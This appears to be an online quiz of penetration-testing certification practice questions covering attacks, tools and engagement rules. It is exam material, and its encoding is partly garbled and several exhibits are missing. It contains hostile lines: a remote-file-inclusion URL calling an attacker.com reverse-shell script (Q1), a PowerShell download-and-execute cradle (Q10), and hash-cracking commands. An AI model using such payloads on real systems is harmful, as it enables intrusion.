Quiz
PTO2 51-100
This quiz has a time limit, so it opens in the usual player.
Questions in this quiz (59)
1While monitoring WAF logs, a security analyst discovers a successful attack against the following URL: https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php
Which of the following remediation steps should be taken to prevent this type of attack?- AImplement a blacklist.
- BBlock URL redirections.
- CDouble URL encode the parameters.
- DStop external calls from the application.
2A penetration tester is performing a remote scan to determine if the server farm is compliant with the company's software baseline. Which of the following should the penetration tester perform to verify compliance with the baseline?
- ADiscovery scan
- BStealth scan
- CFull scan
- DCredentialed scan
3A penetration tester was able to retrieve the initial VPN user domain credentials by phishing a member of the IT department. Afterward, the penetration tester obtained hashes over the VPN and easily cracked them using a dictionary attack. Which of the following remediation steps should be recommended? (Select
THREE).- AMandate all employees take security awareness training.
- BImplement two-factor authentication for remote access.
- CInstall an intrusion prevention system.
- DIncrease password complexity requirements.
- EInstall a security information event monitoring solution.
- FPrevent members of the IT department from interactively logging in as administrators.
- GUpgrade the cipher suite used for the VPN solution.
4A penetration tester is reviewing the following output from a wireless sniffer:
Which of the following can be extrapolated from the above information?
- AHardware vendor
- BChannel interference
- CUsernames
- DKey strength
5An email sent from the Chief Executive Officer (CEO) to the Chief Financial Officer (CFO) states a wire transfer is needed to pay a new vendor. Neither is aware of the vendor, and the CEO denies ever sending the email. Which of the following types of motivation was used in this attack?
- APrinciple of fear
- BPrinciple of authority
- CPrinciple of scarcity
- DPrinciple of likeness
- EPrinciple of social proof
6A security assessor completed a comprehensive penetration test of a company and its networks and systems. During the assessment, the tester identified a vulnerability in the crypto library used for TLS on the company's intranet-wide payroll web application. However, the vulnerability has not yet been patched by the vendor, although a patch is expected within days. Which of the following strategies would BEST mitigate the risk of impact?
- AModify the web server crypto configuration to use a stronger cipher-suite for encryption, hashing, and digital signing.
- BImplement new training to be aware of the risks in accessing the application. This training can be decommissioned after the vulnerability is patched.
- CImplement an ACL to restrict access to the application exclusively to the finance department. Reopen the application to company staff after the vulnerability is patched.
- DRequire payroll users to change the passwords used to authenticate to the application. Following the patching of the vulnerability, implement another required password change.
7A penetration tester reports an application is only utilizing basic authentication on an Internet-facing application. Which of the following would be the BEST remediation strategy?
- AEnable HTTP Strict Transport Security.
- BEnable a secure cookie flag.
- CEncrypt the communication channel.
- DSanitize invalid user input.
8A penetration tester is performing a code review. Which of the following testing techniques is being performed?
- ADynamic analysis
- BFuzzing analysis
- CStatic analysis
- DRun-time analysis
9During a full-scope security assessment, which of the following is a prerequisite to social engineer a target by physically engaging them?
- ALocating emergency exits
- BPreparing a pretext
- CShoulder surfing the victim
- DTailgating the victim
10Consider the following PowerShell command:
powershell.exe IEX (New-Object Net.Webclient).downloadstring(http://site/script.ps1`);Invoke-Cmdlet
Which of the following BEST describes the actions performed by this command?- ASet the execution policy.
- BExecute a remote script.
- CRun an encoded command.
- DInstantiate an object.
11Which of the following excerpts would come from a corporate policy?
- AEmployee passwords must contain a minimum of eight characters, with one being alphanumeric.
- BThe help desk can be reached at 800-passwd1 to perform password resets.
- CEmployees must use strong passwords for accessing corporate assets.
- DThe corporate systems must store passwords using the MD5 hashing algorithm.
12In which of the following scenarios would a tester perform a Kerberoasting attack?
- AThe tester has compromised a Windows device and dumps the LSA secrets.
- BThe tester needs to retrieve the SAM database and crack the password hashes.
- CThe tester has compromised a limited-privilege user and needs to target other accounts for lateral movement.
- DThe tester has compromised an account and needs to dump hashes and plaintext passwords from the system.
13While trying to maintain persistence on a Windows system with limited privileges, which of the following registry keys should the tester use?
- AHKEY_CLASSES_ROOT
- BHKEY_LOCAL_MACHINE
- CHKEY_CURRENT_USER
- DHKEY_CURRENT_CONFIG
14A penetration tester has a full shell to a domain controller and wants to discover any user account that has not authenticated to the domain in 21 days. Which of the following commands would BEST accomplish this?
- Adsrm -users ג€DN=company.com; OU=hq CN=usersג€
- Bdsuser -name -account -limit 3
- Cdsquery user -inactive 3
- Ddsquery -o -rdn -limit 21
15Which of the following properties of the penetration testing engagement agreement will have the LARGEST impact on observing and testing production systems at their highest loads?
- ACreating a scope of the critical production systems
- BSetting a schedule of testing access times
- CEstablishing a white-box testing engagement
- DHaving management sign off on intrusive testing
16HOTSPOT -
Instructions:
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
Hot Area:
- AReflected Cross Site Scripting
- BSql Injection (Stacked)
- CDOM-based Cross Site Scripting
- DSql Injection (Error)
- ESql Injection (Union)
- FLocal File Inclusion
- GRemote File inclusion
- HURL Redirect
- Iparameterized queries
- Jprevent external calls
- KInput Sanitization .., \, /, sandbox req
- LInput Sanitization ", :, $, (.), (,).
- MInput Sanitizatin ", ', <...>< +.
17HOTSPOT -
Instructions:
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
Hot Area:
- AReflected Cross Site Scripting
- BSql Injection (Stacked)
- CDOM-based Cross Site Scripting
- DSql Injection (Error
- ESql Injection (Union)
- FLocal File Inclusion
- GRemote File inclusion
- HURL Redirect
- Iparameterized queries
- Jprevent external calls
- KInput Sanitization .., \, /, sandbox req
- LInput Sanitization ", :, $, (.), (,).
- MInput Sanitizatin ", ', <...>< +.
- NCommand injection
18HOTSPOT -
Instructions:
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
Hot Area:
- AReflected Cross Site Scripting
- BSql Injection (Stacked)
- CDOM-based Cross Site Scripting
- DSql Injection (Error)
- ESql Injection (Union)
- FLocal File Inclusion
- GRemote File inclusion
- HURL Redirect
- Iparameterized querie
- Jprevent external calls
- KInput Sanitization .., \, /, sandbox req
- LInput Sanitization ", :, $, (.), (,).
- MInput Sanitizatin ", ', <...>< +.
- NCommand injection
19HOTSPOT -
Instructions:
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
Hot Area:
- AReflected Cross Site Scripting
- BSql Injection (Stacked)
- CDOM-based Cross Site Scripting
- DSql Injection (Error)
- ESql Injection (Union)
- FLocal File Inclusion
- GRemote File inclusion
- HURL Redirect
- Iparameterized queries
- Jprevent external calls
- KInput Sanitization .., \, /, sandbox req
- LInput Sanitization ", :, $, (.), (,).
- MInput Sanitizatin ", ', <...>< +.
- NCommand injection
20HOTSPOT -
Instructions:
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
Hot Area:
- AReflected Cross Site Scripting
- BSql Injection (Stacked)
- CDOM-based Cross Site Scripting
- DSql Injection (Error)
- ESql Injection (Union)
- FLocal File Inclusion
- GRemote File inclusion
- HURL Redirect
- ICommand injection
- JInput Sanitization .., \, /, sandbox req
- Kparameterized queries
- LInput Sanitization ", :, $, (.), (,).
- MInput Sanitizatin ", ', <...>< +.
- Nprevent external calls
21HOTSPOT -
Instructions:
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
Hot Area:
- ACommand injection
- BReflected Cross Site Scripting
- CSql Injection (Stacked)
- DDOM-based Cross Site Scripting
- ESql Injection (Error)
- FSql Injection (Union)
- GLocal File Inclusion
- HRemote File inclusion
- IURL Redirect
- Jparameterized queries
- Kprevent external calls
- LInput Sanitization .., \, /, sandbox req
- MInput Sanitization ", :, $, (.), (,).
- NInput Sanitizatin ", ', <...>< +.
22HOTSPOT -
Instructions:
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
Hot Area:
- AReflected Cross Site Scripting
- BCommand Injection
- CSql Injection (Stacked)
- DDOM-based Cross Site Scripting
- ESql Injection (Error)
- FSql Injection (Union)
- GLocal File Inclusion
- HRemote File inclusion
- IURL Redirect
- Jparameterized queries
- Kprevent external calls
- LInput Sanitization .., \, /, sandbox req
- MInput Sanitization ", :, $, (.), (,).
- NInput Sanitizatin ", ', <...>< +.
23HOTSPOT -
Instructions:
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
Hot Area:
- ACommand Injection
- BReflected Cross Site Scripting
- CSql Injection (Stacked)
- DDOM-based Cross Site Scripting
- ESql Injection (Error)
- FSql Injection (Union)
- GLocal File Inclusion
- HRemote File inclusion
- IURL Redirect
- Jparameterized queries
- Kprevent external calls
- LInput Sanitization .., \, /, sandbox req
- MInput Sanitization ", :, $, (.), (,).
- NInput Sanitizatin ", ', <...>< +.
24HOTSPOT -
Instructions:
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
Hot Area:
- AReflected Cross Site Scripting
- BCommand Injection
- CSql Injection (Stacked)
- DDOM-based Cross Site Scripting
- ESql Injection (Error)
- FSql Injection (Union)
- GLocal File Inclusion
- HRemote File inclusion
- IURL Redirect
- Jparameterized queries
- Kprevent external calls
- LInput Sanitization .., \, /, sandbox req
- MInput Sanitization ", :, $, (.), (,).
- NInput Sanitizatin ", ', <...>< +.
25HOTSPOT -
Instructions:
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
Hot Area:
- ACommand Injection
- BReflected Cross Site Scripting
- CSql Injection (Stacked)
- DDOM-based Cross Site Scripting
- ESql Injection (Error)
- FSql Injection (Union)
- GLocal File Inclusion
- HRemote File inclusion
- IURL Redirect
- Jparameterized queries
- Kprevent external calls
- LInput Sanitization .., \, /, sandbox req
- MInput Sanitization ", :, $, (.), (,).
- NInput Sanitizatin ", ', <...>< +.
26In a physical penetration tester testing scenario. the penetration tester obtains physical access to a laptop. The laptop is logged in but locked. Which of the following is a potential NEXT step to extract credentials from the device?
- ABrute force the userג€™s password.
- BPerform an ARP spoofing attack.
- CLeverage the BeEF framework to capture credentials.
- DConduct LLMNR/NETBIOS-ns poisoning.
27A penetration tester is preparing to conduct API testing. Which of the following would be MOST helpful in preparing for this engagement?
- ANikto
- BWAR
- CW3AF
- DSwagger
28A security guard observes an individual entering the building after scanning a badge. The facility has a strict badge-in and badge-out requirement with a turnstile.
The security guard then audits the badge system and finds two log entries for the badge in question within the last 30 minutes. Which of the following has MOST likely occurred?- AThe badge was cloned.
- BThe physical access control server is malfunctioning.
- CThe system reached the crossover error rate.
- DThe employee lost the badge.
29If a security consultant comes across a password hash that resembles the following: b117525b345470c29ca3d8ae0b556ba8
Which of the following formats is the correct hash type?- AKerberos
- BNetNTLMv1
- CNTLM
- DSHA-1
30During an internal network penetration test, a tester recovers the NTLM password hash for a user known to have full administrator privileges on a number of target systems. Efforts to crack the hash and recover the plaintext password have been unsuccessful.
Which of the following would be the BEST target for continued exploitation efforts?- AOperating system: Windows 7 Open ports: 23, 161
- BOperating system: Windows Server 2016 Open ports: 53, 5900
- COperating system: Windows 8.1 Open ports: 445, 3389
- DOperating system: Windows 8 Open ports: 514, 3389
31Which of the following would be the BEST for performing passive reconnaissance on a target's external domain?
- APeach
- BCeWL
- COpenVAS
- DShodan
32A penetration tester delivers a web application vulnerability scan report to a client. The penetration tester rates a vulnerability as medium severity. The same vulnerability was reported as a critical severity finding on the previous report. Which of the following is the MOST likely reason for the reduced severity?
- AThe client has applied a hot fix without updating the version.
- BThe threat landscape has significantly changed.
- CThe client has updated their codebase with new features.
- DThera are currently no known exploits for this vulnerability.
33An attacker uses SET to make a copy of a company's cloud-hosted web mail portal and sends an email in hopes the Chief Executive Officer (CEO) logs in to obtain the CEO's login credentials. Which of the following types of attacks is this an example of?
- AElicitation attack
- BImpersonation attack
- CSpear phishing attack
- DDrive-by download attack
34A penetration tester is scanning a network for SSH and has a list of provided targets. Which of the following Nmap commands should the tester use?
- Anmap -p 22 -iL targets
- Bnmap -p 22 -sL targets
- Cnmap -p 22 -oG targets
- Dnmap -p 22 -oA targets
35A penetration tester is required to perform OSINT on staff at a target company after completing the infrastructure aspect. Which of the following would be the
BEST step for penetration?- AObtain staff information by calling the company and using social engineering techniques
- BVisit the client and use impersonation to obtain information from staff.
- CSend spoofed emails to staff to see if staff will respond with sensitive information.
- DSearch the internet for information on staff such as social networking sites.
36During the information gathering phase of a network penetration test for the corp.local domain, which of the following commands would provide a list of domain controllers?
- Anslookup ג€"type=srv _ldap._tcp.dc._msdcs.corp.local
- Bnmap ג€"sV ג€"p 389 - -script=ldap-rootdse corp.local
- Cnet group ג€Domain Controllersג€ /domain
- Dgpresult /d corp.local /r ג€Domain Controllersג€
37A penetration tester has been assigned to perform an external penetration assessment of a company. Which of the following steps would BEST help with the passive-information-gathering process? (Choose two.)
- AWait outside of the companyג€™s building and attempt to tailgate behind an employee.
- BPerform a vulnerability scan against the companyג€™s external netblock, identify exploitable vulnerabilities, and attempt to gain access.
- CUse domain and IP registry websites to identify the companyג€™s external netblocks and external facing applications.
- DSearch social media for information technology employees who post information about the technologies they work with.
- EIdentify the companyג€™s external facing webmail application, enumerate user accounts and attempt password guessing to gain access.
38A client has voiced concern about the number of companies being breached by remote attackers, who are looking for trade secrets. Which of the following BEST describes the type of adversaries this would identify?
- AScript kiddies
- BAPT actors
- CInsider threats
- DHacktivist groups
39A company contracted a firm specializing in penetration testing to assess the security of a core business application. The company provided the firm with a copy of the Java bytecode. Which of the following steps must the firm take before it can run a static code analyzer?
- ARun the application through a dynamic code analyzer.
- BEmploy a fuzzing utility.
- CDecompile the application.
- DCheck memory allocations.
40A penetration tester successfully exploits a DMZ server that appears to be listening on an outbound port. The penetration tester wishes to forward that traffic back to a device. Which of the following are the BEST tools to use for this purpose? (Choose two.)
- ATcpdump
- Bnmap
- CWireshark
- DSSH
- ENetcat
- FCain and Abel
41An assessor begins an internal security test of the Windows domain internal.comptia.net. The assessor is given network access via DHCP, but is not given any network maps or target IP addresses. Which of the following commands can the assessor use to find any likely Windows domain controllers?
- Adig -q any _kerberos._tcp.internal.comptia.net
- Bdig -q any _lanman._tcp.internal.comptia.net
- Cdig -q any _ntlm._tcp.internal.comptia.net
- Ddig -q any _smtp._tcp.internal.comptia.net
42Given the Nikto vulnerability, scan output shown in the exhibit, which of the following exploitation techniques might be used to exploit the target system? (Choose two.)
- AArbitrary code execution
- BSession hijacking
- CSQL injection
- DLogin credential brute-forcing
- ECross-site request forgery
43A penetration tester notices that the X-Frame-Options header on a web application is not set. Which of the following would a malicious actor do to exploit this configuration setting?
- AUse path modification to escape the applicationג€™s framework.
- BCreate a frame that overlays the application.
- CInject a malicious iframe containing JavaScript.
- DPass an iframe attribute that is malicious.
44A penetration test was performed by an on-staff junior technician. During the test, the technician discovered the web application could disclose an SQL table with user account and password information. Which of the following is the MOST effective way to notify management of this finding and its importance?
- ADocument the findings with an executive summary, recommendations, and screenshots of the web application disclosure.
- BConnect to the SQL server using this information and change the password to one or two non-critical accounts to demonstrate a proof--of-concept to management.
- CNotify the development team of the discovery and suggest that input validation be implemented with a professional penetration testing company.
- DRequest that management create an RFP to begin a formal engagement with a professional penetration testing company.
45A company performed an annual penetration test of its environment. In addition to several new findings, all of the previously identified findings persisted on the latest report. Which of the following is the MOST likely reason?
- AInfrastructure is being replaced with similar hardware and software.
- BSystems administrators are applying the wrong patches.
- CThe organization is not taking action to remediate identified findings.
- DThe penetration testing tools were misconfigured.
46Joe, a penetration tester, is asked to assess a company's physical security by gaining access to its corporate office. Joe is looking for a method that will enable him to enter the building during business hours or when there are no employees on-site. Which of the following would be the MOST effective in accomplishing this?
- ABadge cloning
- BLock picking
- CTailgating
- DPiggybacking
47In which of the following components is an exploited vulnerability MOST likely to affect multiple running application containers at once?
- ACommon libraries
- BConfiguration files
- CSandbox escape
- DASLR bypass
48A client asks a penetration tester to add more addresses to a test currently in progress. Which of the following would define the target list?
- ARules of engagement
- BMater services agreement
- CStatement of work
- DEnd-user license agreement
49Which of the following BEST explains why it is important to maintain confidentially of any identified findings when performing a penetration test?
- APenetration test findings often contain company intellectual property
- BPenetration test findings could lead to consumer dissatisfaction if made public.
- CPenetration test findings are legal documents containing privileged information.
- DPenetration test findings can assist an attacker in compromising a system.
50The following command is run on a Linux file system:
chmod 4111 /usr/bin/sudo
Which of the following issues may be exploited now?- AKernel vulnerabilities
- BSticky bits
- CUnquoted service path
- DMisconfigured sudo
51Given the following script:
Which of the following BEST describes the purpose of this script?
- ALog collection
- BEvent collection
- CKeystroke monitoring
- DDebug message collection
52A consultant wants to scan all the TCP ports on an identified device. Which of the following Nmap switches will complete this task?
- A-p-
- B-p ALL
- C-p 1-65534
- D-port 1-65534
53Which of the following vulnerabilities are MOST likely to be false positives when reported by an automated scanner on a static HTML web page? (Choose two.)
- AMissing secure flag for a sensitive cookie
- BReflected cross-site scripting
- CEnabled directory listing
- DInsecure HTTP methods allowed
- EUnencrypted transfer of sensitive data
- FCommand injection
- GDisclosure of internal system information
- HSupport of weak cipher suites
54A software development team recently migrated to new application software on the on-premises environment. Penetration test findings show that multiple vulnerabilities exist. If a penetration tester does not have access to a live or test environment, a test might be better to create the same environment on the VM.
Which of the following is MOST important for confirmation?- AUnsecure service and protocol configuration
- BRunning SMB and SMTP service
- CWeak password complexity and user account
- DMisconfiguration
55A tester has captured a NetNTLMv2 hash using Responder. Which of the following commands will allow the tester to crack the hash using a mask attack?
- Ahashcat -m 5600 -r rules/bestG4.rule hash.txt wordlist.txt
- Bhashcat -m 5600 hash.txt
- Chashcat -m 5600 -a 3 hash.txt ?a?a?a?a?a?a?a?a
- Dhashcat -m 5600 -o results.text hash.txt wordlist.txt
56A penetration tester has been asked to conduct a penetration test on a REST-based web service. Which of the following items is required?
- AThe latest vulnerability scan results
- BA list of sample application requests
- CAn up-to-date list of possible exploits
- DA list of sample test accounts
57A penetration tester is checking a script to determine why some basic math errors are persisting. The expected result was the program outputting `True`.
Given the output from the console above, which of the following explains how to correct the errors in the script? (Choose two.)
- AChange ג€˜fiג€™ to ג€˜Endlfג€™.
- BRemove the ג€˜letג€™ in front of ג€˜dest=5+5ג€™.
- CChange the ג€˜=ג€™ to ג€˜-eqג€™.
- DChange ג€˜sourceג€™ and ג€˜destג€™ to ג€$sourceג€ and ג€$destג€.
- EChange ג€˜elseג€™ to ג€˜elifג€™.
58After performing a security assessment for a firm, the client was found to have been billed for the time the client's test environment was unavailable. The client claims to have been billed unfairly. Which of the following documents would MOST likely be able to provide guidance in such a situation?
- ASOW
- BNDA
- CEULA
- DBPA
59When performing compliance-based assessments, which of the following is the MOST important key consideration?
- AAdditional rate
- BCompany policy
- CImpact tolerance
- DIndustry type
Information
- Description
- Quiz on PTO2 51-100, created by ONI Kaf on 20/03/2022.
- Author
- ONI Kaf
- Language
- English
- Views
- 12
- Tags
- Rating
- No ratings yet Rate this quiz